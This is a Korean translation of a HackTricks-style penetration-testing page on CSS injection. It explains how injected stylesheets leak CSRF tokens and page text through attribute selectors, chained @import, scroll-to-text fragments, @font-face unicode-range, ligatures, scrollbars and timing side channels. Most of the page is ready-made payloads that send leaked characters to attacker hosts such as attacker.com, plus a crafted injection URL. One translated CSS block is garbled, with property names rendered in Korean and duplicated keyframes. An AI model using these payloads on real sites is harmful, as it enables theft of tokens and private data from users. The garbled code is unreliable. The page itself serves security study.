CSS Injection

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

Try Hard Security Group


CSS Injection

속성 선택자

CSS 선택자는 input 요소의 namevalue 속성 값과 일치하도록 설계됩니다. 입력 요소의 값 속성이 특정 문자로 시작하면 미리 정의된 외부 리소스가 로드됩니다:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

그러나 이 접근 방식은 숨겨진 입력 요소 (type="hidden")를 다룰 때 제한이 있습니다. 숨겨진 요소는 배경을 로드하지 않기 때문입니다.

숨겨진 요소 우회

이 제한을 우회하기 위해 ~ 일반 형제 결합자를 사용하여 후속 형제 요소를 대상으로 할 수 있습니다. 그러면 CSS 규칙이 숨겨진 입력 요소를 따르는 모든 형제에 적용되어 배경 이미지가 로드됩니다:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

CSS 주입을 위한 사전 조건

CSS 주입 기술을 효과적으로 악용하기 위해서는 특정 조건을 충족해야 합니다:

  1. 페이로드 길이: CSS 주입 벡터는 제작된 셀렉터를 수용할 수 있는 충분히 긴 페이로드를 지원해야 합니다.

  2. CSS 재평가: 새롭게 생성된 페이로드로 CSS를 재평가하도록 유도하기 위해 페이지를 프레임화할 수 있어야 합니다.

  3. 외부 자원: 이 기술은 외부 호스팅된 이미지를 사용할 수 있는 능력을 전제로 합니다. 이는 사이트의 콘텐츠 보안 정책(CSP)에 의해 제한될 수 있습니다.

블라인드 속성 셀렉터

이 게시물에서 설명된 것처럼 **:has**와 :not 셀렉터를 결합하여 블라인드 요소에서도 콘텐츠를 식별할 수 있습니다. 이는 CSS 주입을 로드하는 웹 페이지 내부에 무엇이 있는지 전혀 모를 때 매우 유용합니다. 또한 이러한 셀렉터를 사용하여 동일한 유형의 여러 블록에서 정보를 추출하는 것도 가능합니다.

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

다음 @import 기법과 결합하면 blind-css-exfiltration를 사용하여 블라인드 페이지에서 CSS 삽입을 통해 많은 정보를 유출할 수 있습니다.

@import

이전 기법에는 몇 가지 단점이 있습니다. 전제 조건을 확인하십시오. 피해자에게 여러 링크를 보낼 수 있어야 하거나 CSS 삽입 취약한 페이지에 iframe을 삽입할 수 있어야 합니다.

그러나 이 기술의 품질을 향상시키기 위해 **CSS @import**를 사용하는 또 다른 똑똑한 기술이 있습니다.

이 기술은 Pepe Vila에 의해 처음으로 소개되었으며 다음과 같이 작동합니다:

이전과 같이 매번 다른 페이로드로 수십 번 페이지를 로드하는 대신, 페이지를 한 번만 로드하고 공격자 서버로 import하는 것입니다(피해자에게 보낼 페이로드입니다):

@import url('//attacker.com:5001/start?');
  1. 공격자는 일부 CSS 스크립트를 가져올 것이며 브라우저가 로드할 것입니다.

  2. 공격자가 보낼 CSS 스크립트의 첫 부분은 **다시 공격자 서버로의 다른 @import**입니다.

  3. 공격자 서버는 이 요청에 아직 응답하지 않을 것이며, 우리는 일부 문자를 누출한 다음 이 import에 대한 응답으로 다음 문자를 누출하기를 원합니다.

  4. 페이로드의 두 번째이자 더 큰 부분은 속성 선택기 누출 페이로드가 될 것입니다.

  5. 이것은 비밀의 첫 번째 문자와 마지막 문자를 공격자 서버로 보낼 것입니다.

  6. 공격자 서버가 비밀의 첫 번째 문자와 마지막 문자를 받으면, 2단계에서 요청된 import에 응답할 것입니다.

  7. 응답은 2, 3 및 4단계와 정확히 동일할 것이지만, 이번에는 비밀의 두 번째 문자를 찾은 다음 끝에서 두 번째 문자를 시도할 것입니다.

공격자는 비밀을 완전히 누출할 때까지 해당 루프를 따를 것입니다.

원본 Pepe Vila의 이 취약점을 악용하는 코드를 여기에서 찾을 수 있습니다 또는 거의 동일한 주석이 달린 코드를 여기에서 찾을 수 있습니다.

속성 선택기를 사용하면 다음과 같은 작업을 수행할 수 있기 때문에 스크립트는 한 번에 2개의 문자를 발견하려고 시도할 것입니다 (처음부터 및 끝에서):

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

이렇게하면 스크립트가 비밀을 더 빨리 노출시킬 수 있습니다.

가끔 스크립트는 이미 발견된 접두사 + 접미사가 이미 완전한 플래그임을 올바르게 감지하지 못할 수 있으며 앞으로(접두사에서) 뒤로(접미사에서) 계속 진행하다가 어느 시점에서 멈출 수 있습니다. 걱정하지 마세요, 출력을 확인하면 거기서 플래그를 볼 수 있습니다.

다른 선택자

CSS 선택자를 사용하여 DOM 부분에 액세스하는 다른 방법:

  • .class-to-search:nth-child(2): 이는 DOM에서 클래스가 "class-to-search"인 두 번째 항목을 검색합니다.

  • :empty 선택자: 예를 들어 이 writeup에서 사용됨:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

참고: CSS 기반 공격: @font-face의 unicode-range 남용, @terjanq에 의한 오류 기반 XS-Search PoC

전반적인 의도는 제어된 엔드포인트에서 사용자 지정 글꼴을 사용하고 지정된 리소스(favicon.ico)를로드할 수 없는 경우에만 이 글꼴로 표시되도록하는 것입니다.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. 사용자 지정 글꼴 사용:

  • 사용자 지정 글꼴은 <head> 섹션의 <style> 태그 내에서 @font-face 규칙을 사용하여 정의됩니다.

  • 글꼴은 poc로 명명되었으며 외부 엔드포인트(http://attacker.com/?leak)에서 가져옵니다.

  • unicode-range 속성은 특정 Unicode 문자 'A'를 대상으로 하는 U+0041로 설정됩니다.

  1. 대체 텍스트가 있는 Object 요소:

  • <body> 섹션에 id="poc0"를 가진 <object> 요소가 생성됩니다. 이 요소는 http://192.168.0.1/favicon.ico에서 리소스를로드하려고 합니다.

  • 이 요소의 font-family<style> 섹션에서 정의된 'poc'로 설정됩니다.

  • 리소스(favicon.ico) 로드에 실패하면 <object> 태그 내부에 있는 대체 콘텐츠(문자 'A')가 표시됩니다.

  • 외부 리소스를로드할 수 없는 경우 대체 콘텐츠('A')는 사용자 정의 글꼴 poc를 사용하여 렌더링됩니다.

텍스트 단편으로 스타일링 스크롤

:target 가상 클래스는 URL 단편에 의해 대상으로 지정된 요소를 선택하는 데 사용되며 CSS Selectors Level 4 specification에서 지정됩니다. ::target-text는 텍스트가 명시적으로 단편에 의해 대상으로 지정될 때까지 어떤 요소와도 일치하지 않음을 이해하는 것이 중요합니다.

보안 문제가 발생하는 경우, 공격자가 스크롤-투-텍스트 단편 기능을 악용하여 HTML 삽입을 통해 자신의 서버에서 리소스를로드하여 웹 페이지에 특정 텍스트의 존재를 확인할 수 있습니다. 이 방법은 다음과 같은 CSS 규칙을 삽입하는 것을 포함합니다:

:target::before { content : url(target.png) }

다음과 같은 시나리오에서 페이지에 "Administrator" 텍스트가 있는 경우, 서버에서 target.png 리소스가 요청되어 해당 텍스트의 존재를 나타냅니다. 이 공격의 한 예는 삽입된 CSS가 포함된 특수 제작된 URL을 통해 실행될 수 있습니다.

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

여기서 공격은 HTML 주입을 조작하여 CSS 코드를 전송하며, Scroll-to-text fragment (#:~:text=Administrator)를 통해 "Administrator"라는 특정 텍스트를 대상으로 합니다. 텍스트가 발견되면 지정된 리소스가 로드되어 공격자에게 존재 여부를 암시적으로 신호합니다.

완화를 위해 다음 사항에 유의해야 합니다:

  1. 제한된 STTF 일치: Scroll-to-text Fragment (STTF)는 단어나 문장만 일치하도록 설계되어 임의의 비밀 또는 토큰 누출 능력을 제한합니다.

  2. 상위 수준 탐색 컨텍스트로의 제한: STTF는 상위 수준 탐색 컨텍스트에서만 작동하며 iframes 내에서 작동하지 않아 공격 시도가 사용자에게 더욱 눈에 띄게 됩니다.

  3. 사용자 활성화의 필요성: STTF는 사용자 활성화 동작을 필요로 하므로, 악용은 사용자가 시작한 탐색을 통해서만 실행될 수 있습니다. 이 요구 사항은 사용자 상호 작용 없이 공격이 자동화되는 위험을 상당히 완화합니다. 그러나 블로그 글의 저자는 공격의 자동화를 용이하게 하는 특정 조건 및 우회 방법 (예: 사회 공학, 보편적인 브라우저 확장 프로그램과의 상호 작용)을 지적합니다.

이러한 메커니즘과 잠재적인 취약점에 대한 인식은 웹 보안을 유지하고 이러한 악용적인 전술에 대비하는 데 중요합니다.

자세한 내용은 원본 보고서를 확인하세요: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

이 기술을 활용한 CTF용 기법을 확인할 수 있습니다.

@font-face / unicode-range

특정 유니코드 값에 대해 외부 글꼴을 지정할 수 있으며, 해당 유니코드 값이 페이지에 존재할 때에만 수집됩니다. 예를 들어:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

이 페이지에 액세스하면 Chrome과 Firefox는 "A" 및 "B" 문자를 포함하는 sensitive-information의 텍스트 노드를 가져옵니다. 그러나 "C"를 포함하지 않기 때문에 Chrome과 Firefox는 "?C"를 가져오지 않습니다. 이는 "A" 및 "B"를 읽을 수 있었음을 의미합니다.

텍스트 노드 유출 (I): 리거처

참고: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

기술 설명은 글리프를 이용하여 노드에서 텍스트를 추출하고 너비의 변화를 모니터링하는 것을 포함합니다. 이 과정은 여러 단계로 이루어집니다:

  1. 커스텀 폰트 생성:

  • SVG 폰트는 horiz-adv-x 속성을 가진 글리프로 제작되며, 이는 두 문자 시퀀스를 나타내는 글리프에 큰 너비를 설정합니다.

  • 예시 SVG 글리프: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, 여기서 "XY"는 두 문자 시퀀스를 나타냅니다.

  • 이러한 폰트는 fontforge를 사용하여 woff 형식으로 변환됩니다.

  1. 너비 변화 감지:

  • CSS를 사용하여 텍스트가 줄 바꿈되지 않도록 보장하고 스크롤바 스타일을 사용자 정의합니다.

  • 수평 스크롤바가 나타나면, 특이하게 스타일이 적용된 것은 특정 리거처(oracle)가 텍스트에 존재함을 나타냅니다.

  • 관련 CSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. 공격 과정:

  • 단계 1: 큰 너비의 글리프(문자 쌍을 위한 리거처)를 가진 폰트를 생성합니다.

  • 단계 2: 큰 너비의 글리프(문자 쌍을 위한 리거처)가 렌더링될 때까지 스크롤바 기반 트릭을 사용하여 문자 시퀀스의 존재를 감지합니다.

  • 단계 3: 리거처를 감지한 후, 감지된 쌍을 포함하고 앞뒤 문자를 추가한 세 문자 시퀀스를 생성합니다.

  • 단계 4: 세 문자 리거처를 감지합니다.

  • 단계 5: 이 과정을 반복하여 전체 텍스트를 점진적으로 공개합니다.

  1. 최적화:

  • 현재 <meta refresh=...를 사용한 초기화 방법은 최적적이지 않습니다.

  • 더 효율적인 접근 방식은 CSS @import 트릭을 활용하여 공격의 성능을 향상시키는 것일 수 있습니다.

텍스트 노드 유출 (II): 기본 폰트를 사용하여 문자 집합 노출 (외부 자산 필요 없음)

참고: PoC using Comic Sans by @Cgvwzq & @Terjanq

이 트릭은 Slackers thread에서 공개되었습니다. 텍스트 노드에 사용된 문자 집합은 브라우저에 설치된 기본 폰트를 사용하여 노출될 수 있습니다: 외부 -또는 사용자 정의- 폰트가 필요하지 않습니다.

이 개념은 애니메이션을 활용하여 div의 너비를 점진적으로 확장하여 한 번에 한 문자씩 '접미사' 부분에서 '접두사' 부분으로 전환할 수 있도록 하는 것을 중심으로 합니다. 이 과정은 텍스트를 두 부분으로 나누어줍니다:

  1. 접두사: 초기 라인.

  2. 접미사: 이후 라인들.

문자의 전환 단계는 다음과 같이 나타납니다:

C ADB

CA DB

CAD B

CADB

이 전환 중에 unicode-range 트릭을 사용하여 각 새 문자가 접두사에 추가될 때 식별됩니다. 이는 기본 폰트보다 높이가 더 큰 Comic Sans로 폰트를 전환하여 달성되며, 결과적으로 수직 스크롤바가 트리거됩니다. 이 스크롤바의 나타남으로 인해 새 문자가 접두사에 나타났음을 간접적으로 나타냅니다.

이 방법은 나타나는 고유 문자를 감지할 수 있지만, 반복되는 문자가 무엇인지를 명시하지는 않습니다.

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { 너비: 120px }
6% { 너비: 140px }
7% { 너비: 0px }
}

div::-webkit-scrollbar {
배경: 파란색;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
배경: 파란색 var(--leak);
}

텍스트 노드 유출 (III): 기본 글꼴로 문자 집합 노출하기 (외부 자산 필요 없음)

참조: 이것은 이 writeup에서 성공하지 못한 해결책으로 언급됩니다

이 경우는 이전 케이스와 매우 유사하지만, 여기서 특정 문자를 다른 것보다 크게 만드는 목표는 무언가를 숨기는 것입니다. 즉, 봇에 의해 눌리지 않을 버튼이나 로드되지 않을 이미지와 같은 것을 숨기는 것입니다. 따라서 우리는 특정 문자가 텍스트 내에 있는지 여부를 알 수 있도록 행동(또는 행동 부재)을 측정할 수 있습니다.

텍스트 노드 유출 (III): 캐시 타이밍을 통한 문자 집합 노출 (외부 자산 필요 없음)

참조: 이것은 이 writeup에서 성공하지 못한 해결책으로 언급됩니다

이 경우, 우리는 동일 출처에서 가짜 글꼴을 로드하여 텍스트에 문자가 있는지 누출해 볼 수 있습니다:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

만약 일치하는 것이 있다면, 폰트는 /static/bootstrap.min.css?q=1에서 로드될 것입니다. 성공적으로 로드되지는 않겠지만, 브라우저는 캐시해야 하며, 캐시가 없더라도 304 not modified 메커니즘이 있으므로 응답이 다른 것보다 빨라야 합니다.

그러나 캐시된 응답과 캐시되지 않은 응답의 시간 차이가 크지 않으면 이 방법은 유용하지 않을 수 있습니다. 예를 들어, 저자는 다음과 같이 언급했습니다: 그러나 테스트 후에 첫 번째 문제는 속도가 크게 다르지 않다는 것이며, 두 번째 문제는 봇이 disk-cache-size=1 플래그를 사용한다는 것이 정말 신중하다는 것입니다.

텍스트 노드 유출 (III): 수백 개의 로컬 "폰트"를 시간 측정하여 문자셋 유출 (외부 자산 필요 없음)

참고: 이것은 이 writeup에서 성공하지 못한 해결책으로 언급됩니다

이 경우, 일치하는 경우 CSS를 통해 수백 개의 가짜 폰트를 로드할 수 있습니다. 이렇게 하면 시간이 얼마나 걸리는지 측정하고 문자가 나타나는지 여부를 확인할 수 있습니다.

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

그리고 봇의 코드는 다음과 같습니다:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

만약 폰트가 일치하지 않는다면, 봇을 방문할 때의 응답 시간은 약 30초가 소요될 것으로 예상됩니다. 그러나 폰트가 일치하는 경우, 폰트를 검색하기 위해 여러 요청이 전송되어 네트워크가 계속 활동하게 됩니다. 결과적으로, 중지 조건을 충족하고 응답을 받는 데 더 오랜 시간이 걸릴 것입니다. 따라서 응답 시간은 폰트 일치 여부를 확인하는 지표로 사용될 수 있습니다.

참고 자료

Try Hard Security Group

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

Last updated